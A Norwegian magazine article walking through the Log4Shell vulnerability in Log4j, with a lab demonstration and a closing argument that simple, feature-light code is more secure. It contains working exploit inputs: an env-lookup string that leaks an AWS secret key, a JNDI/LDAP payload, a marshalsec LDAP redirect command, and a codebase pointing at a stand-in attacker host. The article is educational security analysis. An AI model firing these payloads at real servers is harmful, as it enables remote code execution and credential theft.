Dette kan vi lære av Log4j-hullet: - Beste måten å få til robust kode, er å lage enkel kode

Johannes Brodwall tar oss gjennom svakheten i Log4j, og hvordan hullet kunne vært unngått.

Johannes Brodwall har tatt et dypdykk ned i svakheten i Log4j, for å se hvordan den faktisk kan utnyttes. Og funnet ut at funksjonen som tillater dette, trolig aldri burde vært der. 📸: Ole Petter Baugerød Stokke / privat
Johannes Brodwall har tatt et dypdykk ned i svakheten i Log4j, for å se hvordan den faktisk kan utnyttes. Og funnet ut at funksjonen som tillater dette, trolig aldri burde vært der. 📸: Ole Petter Baugerød Stokke / privat Vis mer

“Internett står i brann” var overskriften på Dagbladet om sårbarheten i Log4j som har vist seg å berøre svært mange organisasjoner og systemer.

Sårbarheten kalles log4shell fordi den lar en angriper bruker remote code execution (RCE) for å kunne få et shell inn på din server. Detaljene i hva som gikk galt kan vise oss kodere hvorfor avanserte features kan være en trussel, heller enn en verdi.

Bli med på en tur gjennom detaljene av log4shell, så skal du få se!

Info i Lookups

Jeg tenker vi tar dette skritt for skritt.

Jeg fant detaljene i hvordan å leke med sårbarheten ved å studere den humoristiske angrepsvektoren Logout4shell som bruker sårbarheten til å skru av sårbarheten! Du kan laste ned og leke deg med koden herfra. Det tok meg mindre enn 10 minutter å komme i gang.

Log4shell utnytter en feature i Log4j som heter Lookups. Tanken bak Lookups er at en melding formattert som dette:

“d %p %c{1.} [%t] $${env:USER:-jdoe} %m%n”

...som inkluderer brukernavnet serveren kjører med i logglinja. Det er jo… nyttig… kanskje?

Det som er spesielt er at Lookups skjer veldig sent i evalueringsprosessen av en loggmelding. Dersom man logger en melding som dette:

logger.error("logged from version=${java:version}")

Så skriver Log4j ut Java-versjonen. 🤨

Hva med dette, da?

logger.error("The user entered: {}", userInput)

Joda, det funker det også. Om brukeren skriver inn:

“${env:AWS_SECRET_ACCESS_KEY}”

...så evaluerer log4j denne villig. Dette er spesielt artig når man gjør ting som å logge User-Agent headeren i HTTP-requester for en access-log.

Hvor farlig er det?

Hvor nyttig er dette, da? Vel, jeg ville ikke inkludert det i mitt open source loggebibliotek (logevents.org), for å si det sånn!

Men hvor farlig er det, egentlig? Man har vel kontroll på hvor loggen går, ikke sant?

Vel, det er her det starter å bli virkelig spennende. 17. Juli 2013 var det en som synes det kunne være kjekt å bruke JNDI (Java Naming and Directory Interface - uttales “jindi” blant de kule kidsa) som en lookup. Og Log4j-teamet bare: “Tusen takk, den tar vi med”.

«Kombinert med LDAP-protokollen kan JNDI laste ned og eksekvere kode fra hvor som helst. Nam!»

Det viser seg at JNDI også har innebygget et par morsomme features: Kombinert med LDAP-protokollen kan JNDI laste ned og eksekvere kode fra hvor som helst. Nam!

Om en ldap-server returnerer "objectClass = javaNamingReference" og "javaCodebase = http://attacker.example.net" så vil Java forsøke å laste ned og instansiere Java-kode derfra.

Ved dette, kjære venner, har vi kommet gjennom teorien og er klare til å sette opp.

Eksempel på angrep

Jeg må gjøre to ting: Jeg laster ned og starter Moritz Bechler sin Java Unmarshaller Security som fikser LDAP-knepet og peker den på en HTTP server:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

Her kjører altså serveren på port 8888. Så lager jeg en Java-fil med navn Log4JRCE.java, kompilerer den og legger class-fila på http serveren.

Fila kan være veldig enkel:

public class Log4jRCE {
   static {
       System.out.println("Hello world");
   }
}

Når serveren logger følgende brukerinput:

"${jndi:ldap://127.0.0.1:1389/a}"

...så kommer stringen “Hello world” ut på serveren. (Jada, det funker selv om man ikke bruker localhost).

Med dette enkle knepet får jeg se hjertet av den sårbare koden:

public class Log4jRCE {
   static {
       new Exception().printStackTrace();
   }
}

Men her er det bare fantasien som setter grenser. Cyberreason-teamet laget en variant av Log4jRCE som bruker reflection for å sette konstanten:

org.apache.logging. log4j.core.util. Constants. FORMAT_MESSAGES_PATTERN _DISABLE_LOOKUPS = true

...noe som gjør at serveren nå er beskyttet mot fremtidige angrep. Morsomt og inspirende. Logout4Shell, som denne kalles har også veldig gode instruksjoner for å komme i gang å utforske feilen. (Den vanligste måten angripere benytter dette på er ved å få et reverse shell som gir terminal-tilgang til den sårbare serveren. Ikke bra, dersom det er noen tvil om det)

Dette kan vi lære

Hva kan vi så lære av dette?

Min påstand er at hele Lookup-mekanismen i Log4j var en dårlig idé og dårlig implementert. Å la loggmeldinger foreta noen som helst form for dynamisk kode-eksekvering er å be om trøbbel.

JndiLookup var en spesielt dårlig idé, ettersom den også åpner for at en loggmelding kan medføre nettverksaksess, noe som er problematisk selv uten remote code execution.

Jeg tipper at det underbetalte, overarbeidende og utakkedet Log4j-teamet nå mest av alt skulle ønske de kunne rive ut hele greia. Men når man leverer et så sentralt bibliotek er man låst til bakoverkompabilitet. Så patchen innfører kun en liste over godkjente hostnames for ldap-oppslag.

Log4j er kode som mange er avhengig av. Det er laget for at mange er avhengig av det. Jo flere som er avhengig av kode desto viktigere er det at koden er robust. Og den beste måten å få til robust kode er å lage enkel kode. Det vil si kode som har få features.

Det vi bør lære er at enhver avansert egenskap ved koden kan også være en svakhet. Jo viktigere koden vår er, desto mer skeptiske bør vi ta til å eksponere oss til svakheten. En feature spart kan være et sikkerhetsmareritt vi kan slippe å oppleve.